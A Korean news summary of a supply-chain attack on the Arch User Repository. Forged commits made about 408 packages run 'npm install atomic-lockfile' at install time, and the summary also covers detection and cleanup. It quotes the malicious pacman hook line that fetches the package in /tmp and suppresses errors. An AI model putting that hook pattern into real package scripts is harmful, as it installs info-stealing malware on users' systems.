수백 개 AUR 패키지가 정보 탈취 악성코드 공격을 받음

1 day ago 7
  • AUR(Arch User Repository)에 다수의 악성 커밋이 삽입돼, 패키지 설치 과정에서 npm install atomic-lockfile을 실행하도록 변조된 공급망 공격 발생
  • 읽기 전용 미러 검색 결과, 약 408개 패키지의 PKGBUILD·.install·.hook 파일에서 동일한 악성 명령 확인
  • 악성 커밋은 직전 커밋의 이름·이메일을 도용해 정상 메인테이너를 사칭하는 커밋 위조 방식이며, 계정 탈취 여부와 별개
  • Arch 측은 악성 커밋 초기화·삭제계정 차단을 진행 중이며, 추가 악성 패키지는 하나의 스레드로 모아 신고 요청
  • 커뮤니티 구성원들이 개별 패키지 커밋을 잇따라 신고하며 협력적 대응 진행, AUR 패키지 생태계 전반에 영향을 미치는 대규모 사안임

사건 개요 및 대응 요청

  • AUR에 악성 커밋이 대량 삽입된 정황이 공유되며, 악성 커밋 초기화/삭제 및 계정 차단 작업이 진행 중
  • 추가 악성 패키지 발견 시, 동일 스레드로 모으기 위해 이 이메일에 회신 형태로 신고해 달라는 요청
  • 조정 담당자가 접수된 신고를 모두 확인했다고 회신했으며, 신고에 시간을 들인 참여자들에게 감사 표명

악성 코드 패턴 — atomic-lockfile

  • 변조된 패키지들은 공통적으로 npm install atomic-lockfile을 실행하며, 뒤에 ora, fast-glob, glob, minimist, axios, commander, execa, chalk, debug 등 추가 npm 패키지명이 함께 붙음
  • 악성 명령이 위치한 파일 유형
    • *-deps.install 형태의 설치 스크립트
    • *.install 패키지 설치 스크립트
    • *.hook 파일 — 예: Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile ... 2>/dev/null; exit 0' 형태로 /tmp에서 실행 후 오류를 숨기고 종료
    • 일부는 install.sh 등 관련 파일에 포함
  • 신규 생성된 악성 패키지 사례로 exodus-wallet-bin이 보고되었으며, 첫 커밋 기준 약 4시간 전 생성된 신생 패키지로 확인

탐지 방법 및 영향 범위

  • 읽기 전용 미러를 직접 점검하는 방식으로 탐지
    • git clone https://github.com/archlinux/aur.git 후, 모든 ref를 순회하며 git grep 'atomic-lockfile' 수행
    • 결과로 atomic-lockfile을 설치하는 약 408개 패키지의 긴 목록 확보, 자동 정리(cleanup) 작업에 활용 가능
  • 영향받은 것으로 거론된 패키지 예시
    • runescape-launcher, oracle-bin, tesseract-gui, python-starsessions, bitcoin-core-git, apple-music-desktop, exodus-wallet-bin, anythingllm-appimage, arm-linux-gnueabihf-binutils 등
    • cutefish-*, python2-*, python-* 계열 등 광범위한 패키지군 포함
  • 대량 개별 신고로 메일이 많아지자, 여러 건을 한 메일로 묶어 보내는 방식이 권장되었고, IRC에서 통합 패키지 목록이 별도 공유됨

사칭/위조 방식

  • 특정 계정(arojas) 관련 패키지에 대해 계정 탈취인지 커밋 위조인지에 대한 의문이 제기됨
  • 이에 대해 악성 커밋은 직전 커밋의 이름과 이메일을 사칭(impersonate) 하는 방식이라고 확인 — 즉 커밋 메타데이터 위조
  • 동일 사용자의 다른 패키지들은 이미 수정 완료된 경우도 보고됨

대응 현황

  • 신고된 패키지 커밋들이 순차적으로 처리되었고, 일부 항목은 수정 완료(Done) 회신으로 확인
  • 추가 신고가 이어지자 조정 담당자가 접수분을 일괄 확인, 진행 중인 차단·초기화 작업과 병행
  • 다수 참여자가 커밋 링크와 함께 개별 패키지를 신고하며 커뮤니티 주도 협력 대응 형태로 진행
Read Entire Article